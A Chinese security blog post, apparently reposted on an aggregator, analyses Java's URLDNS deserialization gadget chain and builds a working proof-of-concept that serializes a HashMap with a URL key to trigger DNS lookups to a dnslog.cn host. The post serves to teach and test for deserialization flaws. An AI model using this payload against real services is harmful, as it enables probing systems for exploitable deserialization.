Java安全 URLDNS链分析

news2024/11/22 10:01:36

Java安全 URLDNS链分析

  • 什么是URLDNS链
  • URLDNS链分析
    • 调用链路
    • HashMap类分析
    • URL类分析
  • exp编写
    • 思路整理
    • 初步exp
    • exp改进
    • 最终exp

什么是URLDNS链

URLDNS链是Java安全中比较简单的一条利用链,无需使用任何第三方库,全依靠Java内置的一些类实现,但无法进行命令执行,只能实现对URl的访问探测(发起DNS请求),并且不限制Java版本,可以用于检测是否存在反序列化漏洞,理解好URLDNS链,那么接下来对CC链的学习就会简单许多

URLDNS链分析

调用链路

Gadget Chain:

    HashMap.readObject()

             HashMap.putVal()

                     HashMap.hash()

                             URL.hashCode()

HashMap类分析

我们来到 HashMap.java文件,查看HashMap类readObject方法,代码如下

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

我们看下该方法的最后一行代码

putVal(hash(key), key, value, false, false);

发现调用了对 key变量 调用了该类里里面的hash函数,然后我们分析下key参数是怎么获得的

通过以下代码可以看出定义了一个K类型的key变量,然后对反序列化的输入流进行反序列化,并把反序列化出的复制给key变量

K类型是代表键的泛型,其定义的数据可以是任何类型,但只能作为map中的键

K key = (K) s.readObject();

我们再看下 hash 函数是如何对key处理的,我们在HashMap类中找到hash函数代码如下

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

经分析,只要我们的key对象,也就是传入map的键不为空,就会执行h = key.hashCode(),也就是执行key对象里的hashCode()方法

URL类分析

这里接上文,假设我们传入map中的key为URL对象,那么便调用URL类中的hashCode()方法,我们看下这个方法的代码

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

这里看到,只要 hashCode = -1的话,那么便会执行handler.hashCode(this);,我们去看下 hashcode 属性是怎么定义的

private int hashCode = -1;

我们发现 hashcode初始值为 -1,也就是默认执行handler.hashCode(this);,我们再去看看 handler 是怎么定义的,代表了什么,通过下面可得:handler属性代表了URLStreamHandler类的临时对象

transient URLStreamHandler handler;
//这个URL传输实现类是一个transient临时类型,不会被反序列化

经分析,也就是把这一整个URL对象作为参数,传入了URLStreamHandler类的hashCode方法

this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员

那我们去URLStreamHandler类当中,查看下hashCode方法的代码

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

我们看到 hashcode 方法接收一个URL类型的参数,然后对接收的 URL对象,也就是前面的key执行InetAddress addr = getHostAddress(u);并会把求出的 hash值 返回给 URL对象中的hashCode属性(这里记住,下面有用到)

getHostAddress函数会对URL对象代表的链接进行DNS解析,获取其ip地址,我们使用 DNSLog 平台可以检测到该函数的访问

exp编写

思路整理

根据上面的链路分析,我们首先需要创建一个指向DNSLog平台链接URL对象,然后作为传入HashMap数组,最后将该数组进行序列化,然后反序列化调用其readObject方法,将URL对象赋值给key,然后使用hash方法处理URL对象,再调用URL对象的hashcode方法,然后以URL对象为参数,传入URLStreamHandler类的hashCode方法,对URL对象指向的链接进行访问

初步exp

现在的exp大体如下

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://j0obud.dnslog.cn/");//这里替换为DNSLog平台分配的地址
        map.put(url,"114");//键值用不到,随便设置
        try {
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我们在第13行打个断点,也就是try的这一行
image-20240212212811603

然后运行代码,发现未经序列化与反序列化仍然能对url进行DNS解析
image-20240212212811603
正是下面这一行代码导致了url的提前解析

map.put(url,"114");//键值用不到,随便设置

我们去看下map(HashMap类)的put方法,代码如下

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

我们发现,这个put方法readObject方法触发的语句完全一样,同样会对URL对象执行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析

return putVal(hash(key), key, value, false, true);

下面是这两个方法的语句对比可以看到是一模一样的

put方法:
image-20240212213743511
readObject方法:

image-20240212213743511

需要注意的是假如提前触发的话,反序列化的时候便不会再进行DNS解析

我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义

private int hashCode = -1;
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

可以看到只有当 hashCode = -1时,才会执行hashCode = handler.hashCode(this);,从而到下一步DNS解析,然后 hashCode属性被赋值为这个URL解析的哈希值,从而为一个很长的正数,从而不为 -1,然后序列化的时候这个hashCode属性值保持不变,当反序列化到hashCode方法时,以为 hashCode != -1 直接进入if,执行return hashCode;,最终到这里就断掉了,无法触发DNS解析

exp改进

那怎么办呢?

我们可以先在put时,将 hashCode 值通过反射修改为任意一个不为 -1 的数字,从而不会提前触发DNS解析,然后在put完成后,我们再通过反射将 hashCode值设为 -1,示例如下

field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashCode(this);

通过反射我们可以动态修改一个对象中的属性和方法

最终exp

package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://mm4dhq.dnslog.cn/");//这里替换为DNSLog平台分配的地址
        Class clas = url.getClass();
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123); //将url的hashcode属性改为123使其不等于-1
        map.put(url,"2333"); //这里的value用不上,随便设置
        field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
        try {
            //序列化
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            //反序列化,此时触发dns请求
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我们再次在put语句下面打断点,观察是否还会提前触发,可以看到DNSLog平台没有记录,代表put时由于hashCode值不为 -1 ,没有执行handler.hashCode(this)

image-20240212213743511 我们在断点处继续执行,可以看到反序列化成功触发了DNS解析 image-20240212213743511

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1445989.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mxxWechatBot主动发送消息至微信

大家好&#xff0c;我是雄雄&#xff0c;欢迎关注微信公众号&#xff1a;雄雄的小课堂。 免责声明&#xff1a;该工具仅供学习使用&#xff0c;禁止使用该工具从事违法活动&#xff0c;否则永久拉黑封禁账号&#xff01;&#xff01;&#xff01;本人不对任何工具的使用负责&am…

【Git版本控制 05】多人协作

目录 一、邀请开发用户 二、新建远程分支 三、拉取远程分支 四、推送远程分支 五、合并远程分支 六、多分支协作 一、邀请开发用户 在windows环境下&#xff0c;再clone同⼀个项⽬仓库&#xff0c;来模拟⼀起协作开发的另⼀名⼩伙伴。 际开发中&#xff0c;每个⽤⼾都有…

【Web】超级详细的Linux权限提升一站式笔记

目录 一、Linux内核提权 提权原理 提权环境 提权复现 二、SUID提权 SUID介绍 设置SUID SUID提权原理 查找SUID文件 提权介绍 find提权 bash提权 vim提权 python提权 三、计划任务提权 提权原理 提权环境 提权步骤 四、环境变量劫持提权 提权原理 提权环境…

【机器学习】卷积和反向传播

一、说明 自从 AlexNet 在 2012 年赢得 ImageNet 竞赛以来&#xff0c;卷积神经网络 (CNN) 就变得无处不在。从不起眼的 LeNet 到 ResNets 再到 DenseNets&#xff0c;CNN 无处不在。 您是否想知道 CNN 的反向传播中会发生什么&#xff0c;特别是反向传播在 CNN 中的工作原理。…

【知识整理】技术新人的培养计划

一、培养计划落地实操 1. 概要 新人入职&#xff0c;要给予适当的指导&#xff0c;目标&#xff1a; 1、熟悉当前环境&#xff1a; 生活环境&#xff1a;吃饭、交通、住宿、娱乐 工作环境&#xff1a;使用的工具&#xff0c;Mac、maven、git、idea 等 2、熟悉并掌握工作技…

Android---Jetpack Compose学习003

Compose 状态。本文将探索如何在使用 Jetpack Compose 时使用和考虑状态&#xff0c;为此&#xff0c;我们需要构建一个 TODO 应用&#xff0c;我们将构建一个有状态界面&#xff0c;其中会显示可修改的互动式 TODO 列表。 状态的定义。在科学技术中&#xff0c;指物质系统所处…

【C深度解剖】前置++与后置++

简介&#xff1a;本系列博客为C深度解剖系列内容&#xff0c;以某个点为中心进行相关详细拓展 适宜人群&#xff1a;已大体了解C语法同学 作者留言&#xff1a;本博客相关内容如需转载请注明出处&#xff0c;本人学疏才浅&#xff0c;难免存在些许错误&#xff0c;望留言指正 作…

相机图像质量研究(12)常见问题总结:光学结构对成像的影响--炫光

系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结&#xff1a;光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结&#xff1a;光学结构对成…

关于Navicat导入sql文件后er图乱序问题

关于Navicat导入sql文件后er图乱序问题 具体操作如下&#xff1a; 点击左下角刷新旁边的小三角

涤生大数据实战:基于Flink+ODPS历史累计计算项目分析与优化(上)

涤生大数据实战&#xff1a;基于FlinkODPS历史累计计算项目分析与优化&#xff08;一&#xff09; 1.前置知识 ODPS&#xff08;Open Data Platform and Service&#xff09;是阿里云自研的一体化大数据计算平台和数据仓库产品&#xff0c;在集团内部离线作为离线数据处理和存…

数据结构(3) 顺序表存储结构

顺序表存储结构 存储结构顺序结构定义基本操作的实现静态分配问题 动态分配代码功能 顺序表的特点: 顺序表小结顺序表的插入删除插入删除小结 顺序表的查找按位查找按值查找小结 各位小伙伴想要博客相关资料的话关注公众号&#xff1a;chuanyeTry即可领取相关资料&#xff01; …

Codeforces Round 924 E. Modular Sequence

E. Modular Sequence 题意 对于一个长度为 n n n 的数组 a a a&#xff0c;定义它是 g o o d good good 的当且仅当&#xff1a; a 1 x a_1 x a1​x a i a i − 1 y a_{i} a_{i - 1} y ai​ai−1​y 或 a i a i − 1 m o d y i ≥ 2 a_{i} a_{i - 1} mod \hspace{…

【Linux】内核中的链表

&#x1f525;博客主页&#xff1a;PannLZ &#x1f38b;系列专栏&#xff1a;《Linux系统之路》 &#x1f94a;不要让自己再留有遗憾&#xff0c;加油吧&#xff01; 文章目录 链表1.创建和初始化2.创建节点3.添加节点4.删除节点5.遍历 链表 内核开发者只实现了循环双链表&am…

nodejs学习计划--(十)会话控制及https补充

一、会话控制 1.介绍 所谓会话控制就是 对会话进行控制 HTTP 是一种无状态的协议&#xff0c;它没有办法区分多次的请求是否来自于同一个客户端&#xff0c; 无法区分用户 而产品中又大量存在的这样的需求&#xff0c;所以我们需要通过 会话控制 来解决该问题 常见的会话控制…

中科大计网学习记录笔记(十):P2P 应用

前言&#xff1a; 学习视频&#xff1a;中科大郑烇、杨坚全套《计算机网络&#xff08;自顶向下方法 第7版&#xff0c;James F.Kurose&#xff0c;Keith W.Ross&#xff09;》课程 该视频是B站非常著名的计网学习视频&#xff0c;但相信很多朋友和我一样在听完前面的部分发现信…

CSP-动态规划-最长公共子序列(LCS)

一、动态规划 动态规划&#xff08;Dynamic Programming&#xff0c;简称DP&#xff09;主要用于求解可以被分解为相似子问题的复杂问题&#xff0c;特别是在优化问题上表现出色&#xff0c;如最短路径、最大子数组和、编辑距离等。动态规划的核心思想是将原问题分解为较小的子…

【MySQL】MySQL函数学习和总结

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-Ny0xnYjfHqF7s3aS {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

C++ //练习 6.3 编写你自己的fact函数,上机检查是否正确。

C Primer&#xff08;第5版&#xff09; 练习 6.3 练习 6.3 编写你自己的fact函数&#xff0c;上机检查是否正确。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 代码块 /********************************************************…

Linux系统中HTTP代理的常见问题及解决方案

亲爱的Linux用户们&#xff0c;是不是有时候觉得HTTP代理就像是一个魔法盒子&#xff0c;让你在数字世界中自由穿梭&#xff1f;但是&#xff0c;就像所有的魔法物品一样&#xff0c;它也会偶尔出点小状况。今天&#xff0c;我们就来一起探讨一下Linux系统中HTTP代理的常见问题…

购物|电商购物小程序|基于微信小程序的购物系统设计与实现(源码+数据库+文档)

电商购物小程序目录 目录 基于微信小程序的购物系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、用户前台功能实现 2、管理员后台功能实现 四、数据库设计 1、实体ER图 2、具体的表设计如下所示&#xff1a; 五、核心代码 六、论文参考 七、最新计算机毕设…